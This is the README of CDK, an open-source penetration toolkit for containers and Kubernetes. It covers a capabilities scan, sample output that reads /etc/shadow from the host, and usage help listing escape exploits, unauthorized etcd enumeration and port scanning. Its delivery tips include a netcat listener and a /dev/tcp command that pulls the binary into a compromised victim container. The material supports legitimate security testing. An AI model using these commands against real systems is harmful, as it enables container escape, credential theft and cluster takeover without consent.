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CDK

📦 Make security testing of K8s, Docker, and Containerd easier.

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CDK - Zero Dependency Container Penetration Toolkit

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Legal Disclaimer

Usage of CDK for attacking targets without prior mutual consent is illegal. CDK is for security testing purposes only.

Overview

CDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.

Quick Start

Run cdk eva to get evaluate info and a recommend exploit, then run cdk run to start the attack.

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

Installation/Delivery

Download latest release in https://github.com/cdk-team/CDK/releases/

Drop executable files into the target container and start testing.

TIPS: Deliver CDK into target container in real-world penetration testing

If you have an exploit that can upload a file, then you can upload CDK binary directly.

If you have a RCE exploit, but the target container has no curl or wget, you can use the following method to deliver CDK:

  1. First, host CDK binary on your host with public IP.
(on your host)
nc -lvp 999 < cdk
  1. Inside the victim container execute
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

Usage

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.
  --profile=<name> Select evaluation profile.

Features

CDK has three modules:

  1. Evaluate: gather information inside container to find potential weakness.
  2. Exploit: for container escaping, persistance and lateral movement
  3. Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.

Evaluate Module

Usage

cdk evaluate [--full]
TacticsScriptSupportedUsage/Example
Information GatheringOS Basic Info✔link
Information GatheringAvailable Capabilities✔link
Information GatheringAvailable Linux Commands✔link
Information GatheringMounts✔link
Information GatheringNet Namespace✔link
Information GatheringSensitive ENV✔link
Information GatheringSensitive Process✔link
Information GatheringSensitive Local Files✔link
Information GatheringKube-proxy Route Localnet(CVE-2020-8558)✔link
Information GatheringDNS-Based Service Discovery✔link
DiscoveryK8s Api-server Info✔link
DiscoveryK8s Service-account Info✔link
DiscoveryCloud Provider Metadata API✔link

Exploit Module

List all available exploits:

cdk run --list

Run targeted exploit:

cdk run <script-name> [options]
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